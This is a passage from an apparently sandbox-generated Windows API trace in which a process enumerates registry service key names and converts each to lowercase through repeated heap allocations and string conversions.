lpUsedDefaultChar=0x0) returned 7 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.847] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.847] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0260.847] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.847] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.848] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.848] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.848] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.848] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.849] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.849] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0260.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0260.849] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.849] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.849] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0260.849] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f18e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0260.850] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0260.851] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0260.852] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0260.853] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0260.854] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0260.855] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0260.856] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0260.857] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, 